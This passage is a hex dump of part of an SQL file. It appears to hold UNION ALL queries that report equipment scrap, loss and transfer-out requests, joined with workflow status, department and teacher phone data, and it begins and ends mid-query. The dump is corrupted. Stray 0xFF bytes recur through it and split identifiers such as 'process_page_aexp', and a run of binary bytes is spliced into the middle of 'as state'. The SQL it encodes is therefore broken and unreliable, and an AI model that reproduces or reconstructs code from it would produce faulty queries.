1260: 20 45 51 55 49 50 4D 45 4E 54 5F 73 63 72 61 70 EQUIPMENT_scrap
1270: 5F 4C 49 53 54 20 45 43 4C 0A 20 20 20 20 20 20 _LIST ECL.
1280: 20 20 20 20 20 20 20 20 20 6C 65 66 74 20 6A 6F left jo
1290: 69 6E 20 65 71 75 69 70 6D 65 6E 74 20 65 71 75 in equipment equ
12a0: 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .
12b0: 20 20 6F 6E 20 65 63 6C 2E 65 71 75 69 70 6D 65 on ecl.equipme
12c0: 6E 74 5F 63 6F 64 65 20 3D 20 65 71 75 2E 63 6F nt_code = equ.co
12d0: 64 65 20 67 72 6F 75 70 20 62 79 20 65 63 6C 2E de group by ecl.
12e0: 45 51 55 49 50 4D 45 4E 54 5F 73 63 72 61 70 5F EQUIPMENT_scrap_
12f0: 49 44 29 20 54 0A 20 20 20 20 4F 4E 20 45 43 2E ID) T. ON EC.
1300: 49 44 20 3D 20 54 2E 45 51 55 49 50 4D 45 4E 54 ID = T.EQUIPMENT
1310: 5F 73 63 72 61 70 5F 49 44 0A 20 20 4C 45 46 54 _scrap_ID. LEFT
1320: 20 4A 4F 49 4E 20 45 51 55 49 50 4D 45 4E 54 5F JOIN EQUIPMENT_
1330: 73 63 72 61 70 5F 53 45 51 55 45 4E 43 45 20 45 scrap_SEQUENCE E
1340: 43 53 0A 20 20 20 20 4F 4E 20 45 43 2E 49 44 20 CS. ON EC.ID
1350: 3D 20 45 43 53 2E 45 51 55 49 50 4D 45 4E 54 FF = ECS.EQUIPMENT.
1360: 5F 73 63 72 61 70 5F 49 44 0A 20 20 20 41 4E 44 _scrap_ID. AND
1370: 20 45 43 53 2E 49 53 5F 43 55 52 52 45 4E 54 20 ECS.IS_CURRENT
1380: 3D 20 31 0A 20 20 4C 45 46 54 20 4A 4F 49 4E 20 = 1. LEFT JOIN
1390: 56 5F 53 59 53 54 45 4D 5F 42 50 4D 5F 53 54 41 V_SYSTEM_BPM_STA
13a0: 54 45 20 42 50 4D 0A 20 20 20 20 4F 4E 20 45 43 TE BPM. ON EC
13b0: 53 2E 42 50 4D 5F 4E 4F 20 3D 20 42 50 4D 2E 4B S.BPM_NO = BPM.K
13c0: 45 59 0A 20 20 6C 65 66 74 20 6A 6F 69 6E 20 62 EY. left join b
13d0: 61 73 65 5F 64 65 70 20 62 64 20 6F 6E 20 62 64 ase_dep bd on bd
13e0: 2E 63 6F 64 65 20 3D 20 74 2E 62 61 73 65 5F 64 .code = t.base_d
13f0: 65 70 5F 63 6F 64 65 0A 20 20 20 6C 65 66 74 20 ep_code. left
1400: 6A 6F 69 6E 20 65 71 75 69 70 6D 65 6E 74 5F 6D join equipment_m
1410: 65 72 67 65 20 65 6D 0A 20 20 20 20 6F 6E 20 45 erge em. on E
1420: 43 53 2E 62 70 6D 5F 6E 6F 20 3D 20 65 6D 2E 6E CS.bpm_no = em.n
1430: 65 77 5F 62 70 6D 5F 6E 6F 0A 0A 75 6E 69 6F 6E ew_bpm_no..union
1440: 20 61 6C 6C 0A 73 65 6C 65 43 54 20 27 6C 6F 73 all.seleCT 'los
1450: 74 27 20 61 73 20 74 79 70 65 2C 0A 20 20 20 FF t' as type,. .
1460: 20 20 20 20 27 B1 A8 CA A7 27 20 61 73 20 74 79 '....' as ty
1470: 70 65 5F 6E 61 6D 65 2C 0A 20 20 20 20 20 20 20 pe_name,.
1480: 65 63 2E 61 73 73 65 74 73 5F 74 79 70 65 2C 0A ec.assets_type,.
1490: 20 20 20 20 20 20 20 45 43 2E 49 44 2C 0A 20 20 EC.ID,.
14a0: 20 20 20 20 20 45 43 2E 52 45 51 55 45 53 54 5F EC.REQUEST_
14b0: 54 49 4D 45 2C 0A 20 20 20 20 20 20 20 65 63 2E TIME,. ec.
14c0: 72 65 71 75 65 73 74 5F 74 79 70 65 2C 0A 20 20 request_type,.
14d0: 20 20 20 20 20 74 2E 62 61 73 65 5F 64 65 70 5F t.base_dep_
14e0: 63 6F 64 65 2C 0A 20 20 20 20 20 20 20 62 64 2E code,. bd.
14f0: 6E 61 6D 65 20 61 73 20 62 61 73 65 5F 64 65 70 name as base_dep
1500: 5F 6E 61 6D 65 2C 0A 20 20 20 20 20 20 20 45 43 _name,. EC
1510: 2E 42 41 53 45 5F 54 45 41 43 48 45 52 5F 4E 4F .BASE_TEACHER_NO
1520: 5F 72 65 71 75 65 73 74 20 62 61 73 65 5F 74 65 _request base_te
1530: 61 63 68 65 72 5F 6E 6F 5F 72 65 71 75 65 73 74 acher_no_request
1540: 2C 0A 20 20 20 20 20 20 20 42 54 31 2E 4E 41 4D ,. BT1.NAM
1550: 45 20 41 53 20 42 41 53 45 5F 54 45 41 43 48 FF E AS BASE_TEACH.
1560: 45 52 5F 4E 41 4D 45 5F 52 45 51 55 45 53 54 2C ER_NAME_REQUEST,
1570: 0A 20 20 20 20 20 20 20 6E 76 6C 28 62 74 31 2E . nvl(bt1.
1580: 6D 6F 62 69 6C 65 2C 62 74 31 2E 74 65 6C 65 70 mobile,bt1.telep
1590: 68 6F 6E 65 29 20 70 68 6F 6E 65 2C 0A 20 20 20 hone) phone,.
15a0: 20 20 20 20 4E 56 4C 28 54 2E 4E 55 4D 2C 20 30 NVL(T.NUM, 0
15b0: 29 20 41 53 20 45 51 55 49 50 4D 45 4E 54 5F 43 ) AS EQUIPMENT_C
15c0: 4F 55 4E 54 2C 0A 20 20 20 20 20 20 20 4E 56 4C OUNT,. NVL
15d0: 28 54 2E 45 51 55 49 50 4D 45 4E 54 5F 4D 4F 4E (T.EQUIPMENT_MON
15e0: 45 59 2C 20 30 29 20 41 53 20 45 51 55 49 50 4D EY, 0) AS EQUIPM
15f0: 45 4E 54 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 ENT_MONEY,.
1600: 20 20 4E 56 4C 28 54 2E 45 51 55 49 50 4D 45 4E NVL(T.EQUIPMEN
1610: 54 5F 4D 41 58 5F 4D 4F 4E 45 59 2C 20 30 29 20 T_MAX_MONEY, 0)
1620: 41 53 20 45 51 55 49 50 4D 45 4E 54 5F 4D 41 58 AS EQUIPMENT_MAX
1630: 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 20 20 45 _MONEY,. E
1640: 43 53 2E 42 50 4D 5F 4E 4F 2C 0A 20 20 20 20 20 CS.BPM_NO,.
1650: 20 20 6E 76 6C 28 45 43 53 2E 53 54 41 54 45 FF nvl(ECS.STATE.
1660: 2C 20 2D 33 29 20 61 73 20 73 74 61 74 65 2C 0A , -3) as state,.
1670: 20 20 20 20 20 20 20 65 63 73 2E 73 75 62 6D 69 ecs.submi
1680: 74 5F 74 69 6D 65 2C 0A 20 20 20 20 20 20 20 62 t_time,. b
1690: 70 6D 2E 54 4F 4B 45 4E 5F 54 49 4D 45 2C 0A 20 pm.TOKEN_TIME,.
16a0: 20 20 20 20 20 20 42 50 4D 2E 50 52 4F 43 45 53 BPM.PROCES
16b0: 53 5F 49 44 2C 0A 20 20 20 20 20 20 20 42 50 4D S_ID,. BPM
16c0: 2E 4A 42 50 4D 5F 4E 4F 44 45 44 45 46 49 4E 49 .JBPM_NODEDEFINI
16d0: 54 49 4F 4E 2C 0A 20 20 20 20 20 20 20 42 50 4D TION,. BPM
16e0: 2E 70 72 6F 63 65 73 73 5F 70 61 67 65 5F 61 65 .process_page_ae
16f0: 78 70 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 44 xp,. BPM.D
1700: 45 46 49 4E 49 54 49 4F 4E 2C 0A 20 20 20 20 20 EFINITION,.
1710: 20 20 42 50 4D 2E 4E 4F 44 45 2C 0A 20 20 20 20 BPM.NODE,.
1720: 20 20 20 42 50 4D 2E 4E 4F 44 45 5F 4E 41 4D 45 BPM.NODE_NAME
1730: 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 45 4E 44 ,. BPM.END
1740: 5F 54 49 4D 45 2C 0A 20 20 20 20 20 20 20 27 C9 _TIME,. '.
1750: EA C7 EB 27 20 7C 7C 20 43 41 53 45 0A 20 20 FF ...' || CASE. .
1760: 20 20 20 20 20 20 20 57 48 45 4E 20 54 2E 4E 55 WHEN T.NU
1770: 4D 20 3E 20 31 20 54 48 45 4E 0A 20 20 20 20 20 M > 1 THEN.
1780: 20 20 20 20 20 54 2E 53 55 42 20 7C 7C 20 27 B5 T.SUB || '.
1790: C8 27 20 7C 7C 20 4E 56 4C 28 54 2E 4E 55 4D 2C .' || NVL(T.NUM,
17a0: 20 30 29 20 7C 7C 20 27 CC A8 2F CC D7 D7 CA B2 0) || '../.....
17b0: FA 27 0A 20 20 20 20 20 20 20 20 20 45 4C 53 45 .'. ELSE
17c0: 0A 20 20 20 20 20 20 20 20 20 20 54 2E 53 55 42 . T.SUB
17d0: 0A 20 20 20 20 20 20 20 45 4E 44 20 7C 7C 20 27 . END || '
17e0: B5 C4 B1 A8 CA A7 D2 B5 CE F1 27 20 41 53 20 53 ..........' AS S
17f0: 55 42 4A 45 43 54 2C 0A 20 20 20 20 20 20 20 62 UBJECT,. b
1800: 70 6D 2E 63 61 6E 5F 62 61 63 6B 2C 0A 20 20 20 pm.can_back,.
1810: 20 20 20 20 62 70 6D 2E 61 64 76 69 63 65 2C 0A bpm.advice,.
1820: 20 20 20 20 20 20 20 27 27 20 70 72 6F 76 69 64 '' provid
1830: 65 72 2C 0A 20 20 20 20 20 20 20 27 27 20 63 68 er,. '' ch
1840: 61 6E 67 65 70 72 69 63 65 2C 0A 20 20 20 20 20 angeprice,.
1850: 20 20 27 27 20 45 53 54 49 4D 41 54 45 5F 43 FF '' ESTIMATE_C.
1860: 4F 53 54 2C 0A 20 20 20 20 20 20 20 27 27 20 6D OST,. '' m
1870: 65 72 67 65 5F 70 72 6F 63 65 73 73 2C 0A 20 20 erge_process,.
1880: 20 20 20 20 20 27 27 20 61 73 20 72 65 6D 61 72 '' as remar
1890: 6B 2C 0A 20 20 20 20 20 20 20 20 6E 75 6C 6C 20 k,. null
18a0: 62 61 63 6B 73 74 6F 63 6B 5F 74 79 70 65 0A 20 backstock_type.
18b0: 20 46 52 4F 4D 20 45 51 55 49 50 4D 45 4E 54 5F FROM EQUIPMENT_
18c0: 6C 6F 73 74 20 45 43 0A 20 20 4C 45 46 54 20 4A lost EC. LEFT J
18d0: 4F 49 4E 20 42 41 53 45 5F 54 45 41 43 48 45 52 OIN BASE_TEACHER
18e0: 20 42 54 31 0A 20 20 20 20 4F 4E 20 45 43 2E 42 BT1. ON EC.B
18f0: 41 53 45 5F 54 45 41 43 48 45 52 5F 4E 4F 5F 72 ASE_TEACHER_NO_r
1900: 65 71 75 65 73 74 20 3D 20 42 54 31 2E 4E 4F 0A equest = BT1.NO.
1910: 20 20 4C 45 46 54 20 4A 4F 49 4E 20 28 53 45 4C LEFT JOIN (SEL
1920: 45 43 54 20 73 75 6D 28 63 61 73 65 0A 20 20 20 ECT sum(case.
1930: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1940: 20 20 20 20 20 20 20 20 20 77 68 65 6E 20 45 43 when EC
1950: 4C 2E 53 54 41 54 45 20 49 53 20 4E 55 4C 4C FF L.STATE IS NULL.
1960: 20 4F 52 20 45 43 4C 2E 53 54 41 54 45 20 21 3D OR ECL.STATE !=
1970: 20 2D 31 20 74 68 65 6E 0A 20 20 20 20 20 20 20 -1 then.
1980: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1990: 20 20 20 20 20 20 31 0A 20 20 20 20 20 20 20 20 1.
19a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
19b0: 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 20 20 else.
19c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
19d0: 20 20 20 20 20 20 30 0A 20 20 20 20 20 20 20 20 0.
19e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
19f0: 20 20 65 6E 64 29 20 41 53 20 4E 55 4D 2C 0A 20 end) AS NUM,.
1a00: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1a10: 20 20 20 45 43 4C 2E 45 51 55 49 50 4D 45 4E 54 ECL.EQUIPMENT
1a20: 5F 6C 6F 73 74 5F 49 44 2C 0A 20 20 20 20 20 20 _lost_ID,.
1a30: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 4D 49 MI
1a40: 4E 28 65 71 75 2E 42 41 53 45 5F 44 45 50 5F 43 N(equ.BASE_DEP_C
1a50: 4F 44 45 29 20 41 53 20 42 41 53 45 5F 44 45 FF ODE) AS BASE_DE.
1a60: 50 5F 43 4F 44 45 2C 0A 20 20 20 20 20 20 20 20 P_CODE,.
1a70: 20 20 20 20 20 20 20 20 20 20 20 20 53 55 4D 28 SUM(
1a80: 63 61 73 65 0A 20 20 20 20 20 20 20 20 20 20 20 case.
1a90: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 w
1aa0: 68 65 6E 20 45 43 4C 2E 53 54 41 54 45 20 49 53 hen ECL.STATE IS
1ab0: 20 4E 55 4C 4C 20 4F 52 20 45 43 4C 2E 53 54 41 NULL OR ECL.STA
1ac0: 54 45 20 21 3D 20 2D 31 20 74 68 65 6E 0A 20 20 TE != -1 then.
1ad0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1ae0: 20 20 20 20 20 20 20 20 20 65 71 75 2E 50 52 49 equ.PRI
1af0: 43 45 20 2B 20 6E 76 6C 28 65 71 75 2E 61 74 74 CE + nvl(equ.att
1b00: 61 63 68 5F 70 72 69 63 65 2C 20 30 29 0A 20 20 ach_price, 0).
1b10: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1b20: 20 20 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 else.
1b30: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1b40: 20 20 20 20 20 20 20 20 30 0A 20 20 20 20 20 20 0.
1b50: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 FF .
1b60: 20 20 20 65 6E 64 29 20 41 53 20 45 51 55 49 50 end) AS EQUIP
1b70: 4D 45 4E 54 5F 4D 4F 4E 45 59 2C 0A 20 20 20 20 MENT_MONEY,.
1b80: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
1b90: 6D 61 78 28 65 71 75 2E 50 52 49 43 45 20 2B 20 max(equ.PRICE +
1ba0: 6E 76 6C 28 65 71 75 2E 61 74 74 61 63 68 5F 70 nvl(equ.attach_p
1bb0: 72 69 63 65 2C 20 30 29 29 20 41 53 20 45 51 55 rice, 0)) AS EQU
1bc0: 49 50 4D 45 4E 54 5F 4D 41 58 5F 4D 4F 4E 45 59 IPMENT_MAX_MONEY
1bd0: 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 ,.
1be0: 20 20 20 20 20 20 6D 69 6E 28 65 71 75 2E 63 6F min(equ.co
1bf0: 64 65 20 7C 7C 20 27 2D 27 20 7C 7C 20 65 71 75 de || '-' || equ
1c00: 2E 6E 61 6D 65 29 20 61 73 20 73 75 62 0A 20 20 .name) as sub.
1c10: 20 20 20 20 20 20 20 20 20 20 20 20 20 46 52 4F FRO
1c20: 4D 20 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 74 M EQUIPMENT_lost
1c30: 5F 4C 49 53 54 20 45 43 4C 0A 20 20 20 20 20 20 _LIST ECL.
1c40: 20 20 20 20 20 20 20 20 20 6C 65 66 74 20 6A 6F left jo
1c50: 69 6E 20 65 71 75 69 70 6D 65 6E 74 20 65 71 FF in equipment eq.
1c60: 75 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 u.
1c70: 20 20 20 6F 6E 20 65 63 6C 2E 65 71 75 69 70 6D on ecl.equipm
1c80: 65 6E 74 5F 63 6F 64 65 20 3D 20 65 71 75 2E 63 ent_code = equ.c
1c90: 6F 64 65 0A 20 20 20 20 20 20 20 20 20 20 20 20 ode.
1ca0: 20 20 47 52 4F 55 50 20 42 59 20 45 43 4C 2E 45 GROUP BY ECL.E
1cb0: 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 74 5F 49 44 QUIPMENT_lost_ID
1cc0: 29 20 54 0A 20 20 20 20 4F 4E 20 45 43 2E 49 44 ) T. ON EC.ID
1cd0: 20 3D 20 54 2E 45 51 55 49 50 4D 45 4E 54 5F 6C = T.EQUIPMENT_l
1ce0: 6F 73 74 5F 49 44 0A 20 20 4C 45 46 54 20 4A 4F ost_ID. LEFT JO
1cf0: 49 4E 20 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 IN EQUIPMENT_los
1d00: 74 5F 53 45 51 55 45 4E 43 45 20 45 43 53 0A 20 t_SEQUENCE ECS.
1d10: 20 20 20 4F 4E 20 45 43 2E 49 44 20 3D 20 45 43 ON EC.ID = EC
1d20: 53 2E 45 51 55 49 50 4D 45 4E 54 5F 6C 6F 73 74 S.EQUIPMENT_lost
1d30: 5F 49 44 0A 20 20 20 41 4E 44 20 45 43 53 2E 49 _ID. AND ECS.I
1d40: 53 5F 43 55 52 52 45 4E 54 20 3D 20 31 0A 20 20 S_CURRENT = 1.
1d50: 4C 45 46 54 20 4A 4F 49 4E 20 56 5F 53 59 53 FF LEFT JOIN V_SYS.
1d60: 54 45 4D 5F 42 50 4D 5F 53 54 41 54 45 20 42 50 TEM_BPM_STATE BP
1d70: 4D 0A 20 20 20 20 4F 4E 20 45 43 53 2E 42 50 4D M. ON ECS.BPM
1d80: 5F 4E 4F 20 3D 20 42 50 4D 2E 4B 45 59 0A 20 20 _NO = BPM.KEY.
1d90: 6C 65 66 74 20 6A 6F 69 6E 20 62 61 73 65 5F 64 left join base_d
1da0: 65 70 20 62 64 20 6F 6E 20 62 64 2E 63 6F 64 65 ep bd on bd.code
1db0: 20 3D 20 74 2E 62 61 73 65 5F 64 65 70 5F 63 6F = t.base_dep_co
1dc0: 64 65 0A 75 6E 69 6F 6E 20 61 6C 6C 0A 73 65 6C de.union all.sel
1dd0: 65 43 54 20 27 66 6C 69 74 74 69 6E 67 6F 75 74 eCT 'flittingout
1de0: 27 20 61 73 20 74 79 70 65 2C 0A 20 20 20 20 20 ' as type,.
1df0: 20 20 27 D7 AA B3 F6 27 20 61 73 20 74 79 70 65 '....' as type
1e00: 5F 6E 61 6D 65 2C 0A 20 20 20 20 20 20 20 65 63 _name,. ec
1e10: 2E 61 73 73 65 74 73 5F 74 79 70 65 2C 0A 20 20 .assets_type,.
1e20: 20 20 20 20 20 45 43 2E 49 44 2C 0A 20 20 20 20 EC.ID,.
1e30: 20 20 20 45 43 2E 52 45 51 55 45 53 54 5F 54 49 EC.REQUEST_TI
1e40: 4D 45 2C 0A 20 20 20 20 20 20 20 65 63 2E 72 65 ME,. ec.re
1e50: 71 75 65 73 74 5F 74 79 70 65 2C 0A 20 20 20 FF quest_type,. .
1e60: 20 20 20 20 74 2E 62 61 73 65 5F 64 65 70 5F 63 t.base_dep_c
1e70: 6F 64 65 2C 0A 20 20 20 20 20 20 20 62 64 2E 6E ode,. bd.n
1e80: 61 6D 65 20 61 73 20 62 61 73 65 5F 64 65 70 5F ame as base_dep_
1e90: 6E 61 6D 65 2C 0A 20 20 20 20 20 20 20 45 43 2E name,. EC.
1ea0: 42 41 53 45 5F 54 45 41 43 48 45 52 5F 4E 4F 5F BASE_TEACHER_NO_
1eb0: 72 65 71 75 65 73 74 2C 0A 20 20 20 20 20 20 20 request,.
1ec0: 42 54 31 2E 4E 41 4D 45 20 41 53 20 42 41 53 45 BT1.NAME AS BASE
1ed0: 5F 54 45 41 43 48 45 52 5F 4E 41 4D 45 5F 52 45 _TEACHER_NAME_RE
1ee0: 51 55 45 53 54 2C 0A 20 20 20 20 20 20 20 6E 76 QUEST,. nv
1ef0: 6C 28 62 74 31 2E 6D 6F 62 69 6C 65 2C 62 74 31 l(bt1.mobile,bt1
1f00: 2E 74 65 6C 65 70 68 6F 6E 65 29 20 70 68 6F 6E .telephone) phon
1f10: 65 2C 0A 20 20 20 20 20 20 20 4E 56 4C 28 54 2E e,. NVL(T.
1f20: 4E 55 4D 2C 20 30 29 20 41 53 20 45 51 55 49 50 NUM, 0) AS EQUIP
1f30: 4D 45 4E 54 5F 43 4F 55 4E 54 2C 0A 20 20 20 20 MENT_COUNT,.
1f40: 20 20 20 4E 56 4C 28 54 2E 45 51 55 49 50 4D 45 NVL(T.EQUIPME
1f50: 4E 54 5F 4D 4F 4E 45 59 2C 20 30 29 20 41 53 FF NT_MONEY, 0) AS.
1f60: 20 45 51 55 49 50 4D 45 4E 54 5F 4D 4F 4E 45 59 EQUIPMENT_MONEY
1f70: 2C 0A 20 20 20 20 20 20 20 4E 56 4C 28 54 2E 45 ,. NVL(T.E
1f80: 51 55 49 50 4D 45 4E 54 5F 4D 41 58 5F 4D 4F 4E QUIPMENT_MAX_MON
1f90: 45 59 2C 20 30 29 20 41 53 20 45 51 55 49 50 4D EY, 0) AS EQUIPM
1fa0: 45 4E 54 5F 4D 41 58 5F 4D 4F 4E 45 59 2C 0A 20 ENT_MAX_MONEY,.
1fb0: 20 20 20 20 20 20 45 43 53 2E 42 50 4D 5F 4E 4F ECS.BPM_NO
1fc0: 2C 0A 20 20 20 20 20 20 20 6E 76 6C 28 45 43 53 ,. nvl(ECS
1fd0: 2E 53 54 41 54 45 2C 20 2D 33 29 20 61 11 5E 00 .STATE, -3) a.^.
1fe0: 00 06 00 00 00 00 00 73 20 73 74 61 74 65 2C 0A .......s state,.
1ff0: 20 20 20 20 20 20 20 65 63 73 2E 73 75 62 6D 69 ecs.submi
2000: 74 5F 74 69 6D 65 2C 0A 20 20 20 20 20 20 20 62 t_time,. b
2010: 70 6D 2E 54 4F 4B 45 4E 5F 54 49 4D 45 2C 0A 20 pm.TOKEN_TIME,.
2020: 20 20 20 20 20 20 42 50 4D 2E 50 52 4F 43 45 53 BPM.PROCES
2030: 53 5F 49 44 2C 0A 20 20 20 20 20 20 20 42 50 4D S_ID,. BPM
2040: 2E 4A 42 50 4D 5F 4E 4F 44 45 44 45 46 49 4E 49 .JBPM_NODEDEFINI
2050: 54 49 4F 4E 2C 0A 20 20 20 20 20 20 20 42 50 4D TION,. BPM
2060: 2E 70 72 6F 63 65 73 73 5F FF 70 61 67 65 5F 61 .process_.page_a
2070: 65 78 70 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E exp,. BPM.
2080: 44 45 46 49 4E 49 54 49 4F 4E 2C 0A 20 20 20 20 DEFINITION,.
2090: 20 20 20 42 50 4D 2E 4E 4F 44 45 2C 0A 20 20 20 BPM.NODE,.
20a0: 20 20 20 20 42 50 4D 2E 4E 4F 44 45 5F 4E 41 4D BPM.NODE_NAM
20b0: 45 2C 0A 20 20 20 20 20 20 20 42 50 4D 2E 45 4E E,. BPM.EN
20c0: 44 5F 54 49 4D 45 2C 0A 20 20 20 20 20 20 20 27 D_TIME,. '
20d0: C9 EA C7 EB 27 20 7C 7C 20 43 41 53 45 0A 20 20 ....' || CASE.
20e0: 20 20 20 20 20 20 20 57 48 45 4E 20 54 2E 4E 55 WHEN T.NU
20f0: 4D 20 3E 20 31 20 54 48 45 4E 0A 20 20 20 20 20 M > 1 THEN.
2100: 20 20 20 20 20 54 2E 53 55 42 20 7C 7C 20 27 B5 T.SUB || '.
2110: C8 27 20 7C 7C 20 4E 56 4C 28 54 2E 4E 55 4D 2C .' || NVL(T.NUM,
2120: 20 30 29 20 7C 7C 20 27 CC A8 2F CC D7 D7 CA B2 0) || '../.....
2130: FA 27 0A 20 20 20 20 20 20 20 20 20 45 4C 53 45 .'. ELSE
2140: 0A 20 20 20 20 20 20 20 20 20 20 54 2E 53 55 42 . T.SUB
2150: 0A 20 20 20 20 20 20 20 45 4E 44 20 7C 7C 20 27 . END || '
2160: B5 C4 D7 AA B3 F6 D2 B5 CE FF F1 27 20 41 53 20 ...........' AS
2170: 53 55 42 4A 45 43 54 2C 0A 20 20 20 20 20 20 20 SUBJECT,.
2180: 62 70 6D 2E 63 61 6E 5F 62 61 63 6B 2C 0A 20 20 bpm.can_back,.
2190: 20 20 20 20 20 62 70 6D 2E 61 64 76 69 63 65 2C bpm.advice,
21a0: 0A 20 20 20 20 20 20 20 27 27 20 70 72 6F 76 69 . '' provi
21b0: 64 65 72 2C 0A 20 20 20 20 20 20 20 27 27 20 63 der,. '' c
21c0: 68 61 6E 67 65 70 72 69 63 65 2C 0A 20 20 20 20 hangeprice,.
21d0: 20 20 20 27 27 20 45 53 54 49 4D 41 54 45 5F 43 '' ESTIMATE_C
21e0: 4F 53 54 2C 0A 20 20 20 20 20 20 20 27 27 20 6D OST,. '' m
21f0: 65 72 67 65 5F 70 72 6F 63 65 73 73 2C 0A 20 20 erge_process,.
2200: 20 20 20 20 20 65 63 2E 72 65 6D 61 72 6B 2C 0A ec.remark,.
2210: 20 20 20 20 20 20 20 20 6E 75 6C 6C 20 62 61 63 null bac
2220: 6B 73 74 6F 63 6B 5F 74 79 70 65 0A 20 20 46 52 kstock_type. FR
2230: 4F 4D 20 45 51 55 49 50 4D 45 4E 54 5F 66 6C 69 OM EQUIPMENT_fli
2240: 74 74 69 6E 67 6F 75 74 20 45 43 0A 20 20 4C 45 ttingout EC. LE
2250: 46 54 20 4A 4F 49 4E 20 42 41 53 45 5F 54 45 41 FT JOIN BASE_TEA
2260: 43 48 45 52 20 42 54 31 0A FF 20 20 20 20 4F 4E CHER BT1.. ON
2270: 20 45 43 2E 42 41 53 45 5F 54 45 41 43 48 45 52 EC.BASE_TEACHER
2280: 5F 4E 4F 5F 72 65 71 75 65 73 74 20 3D 20 42 54 _NO_request = BT
2290: 31 2E 4E 4F 0A 20 20 4C 45 46 54 20 4A 4F 49 4E 1.NO. LEFT JOIN
22a0: 20 28 53 45 4C 45 43 54 20 73 75 6D 28 63 61 73 (SELECT sum(cas
22b0: 65 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 20 e.
22c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 68 wh
22d0: 65 6E 20 45 43 4C 2E 53 54 41 54 45 20 49 53 20 en ECL.STATE IS
22e0: 4E 55 4C 4C 20 4F 52 20 45 43 4C 2E 53 54 41 54 NULL OR ECL.STAT
22f0: 45 20 21 3D 20 2D 31 20 74 68 65 6E 0A 20 20 20 E != -1 then.
2300: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2310: 20 20 20 20 20 20 20 20 20 20 31 0A 20 20 20 20 1.
2320: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2330: 20 20 20 20 20 20 20 20 65 6C 73 65 0A 20 20 20 else.
2340: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2350: 20 20 20 20 20 20 20 20 20 20 30 0A 20 20 20 20 0.
2360: 20 20 20 20 20 20 20 20 20 FF 20 20 20 20 20 20 .
2370: 20 20 20 20 20 20 20 65 6E 64 29 20 41 53 20 4E end) AS N
2380: 55 4D 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 UM,.
2390: 20 20 20 20 20 20 20 20 45 43 4C 2E 45 51 55 49 ECL.EQUI
23a0: 50 4D 45 4E 54 5F 66 6C 69 74 74 69 6E 67 6F 75 PMENT_flittingou
23b0: 74 5F 49 44 2C 0A 20 20 20 20 20 20 20 20 20 20 t_ID,.
23c0: 20 20 20 20 20 20 20 20 20 20 4D 49 4E 28 65 71 MIN(eq
23d0: 75 2E 42 41 53 45 5F 44 45 50 5F 43 4F 44 45 29 u.BASE_DEP_CODE)
23e0: 20 41 53 20 42 41 53 45 5F 44 45 50 5F 43 4F 44 AS BASE_DEP_COD
23f0: 45 2C 0A 20 20 20 20 20 20 20 20 20 20 20 20 20 E,.
2400: 20 20 20 20 20 20 20 53 55 4D 28 63 61 73 65 0A SUM(case.
2410: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2420: 20 20 20 20 20 20 20 20 20 20 77 68 65 6E 20 45 when E
2430: 43 4C 2E 53 54 41 54 45 20 49 53 20 4E 55 4C 4C CL.STATE IS NULL
2440: 20 4F 52 20 45 43 4C 2E 53 54 41 54 45 20 21 3D OR ECL.STATE !=
2450: 20 2D 31 20 74 68 65 6E 0A 20 20 20 20 20 20 20 -1 then.
2460: 20 20 20 20 20 20 20 20 20 FF 20 20 20 20 20 20 .
2470: 20 20 20 20 20 65 71 75 2E 50 52 49 43 45 20 2B equ.PRICE +
2480: 20 6E 76 6C 28 65 71 75 2E 61 74 74 61 63 68 5F nvl(equ.attach_
2490: 70 72 69 63 65 2C 20 30 29 0A 20 20 20 20 20 20 price, 0).
24a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
24b0: 20 20 20 20 65 6C 73 65 0A 20 20 20 20 20 20 20 else.
24c0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
24d0: 20 20 20 20 30 0A 20 20 20 20 20 20 20 20 20 20 0.
24e0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6E en
24f0: 64 29 20 41 53 20 45 51 55 49 50 4D 45 4E 54 5F d) AS EQUIPMENT_
2500: 4D 4F 4E 45 59 2C 0A 20 20 20 20 20 20 20 20 20 MONEY,.
2510: 20 20 20 20 20 20 20 20 20 20 20 6D 61 78 28 65 max(e
2520: 71 75 2E 50 52 49 43 45 20 2B 20 6E 76 6C 28 65 qu.PRICE + nvl(e
2530: 71 75 2E 61 74 74 61 63 68 5F 70 72 69 63 65 2C qu.attach_price,
2540: 20 30 29 29 20 41 53 20 45 51 55 49 50 4D 45 4E 0)) AS EQUIPMEN
2550: 54 5F 4D 41 58 5F 4D 4F 4E 45 59 2C 0A 20 20 20 T_MAX_MONEY,.
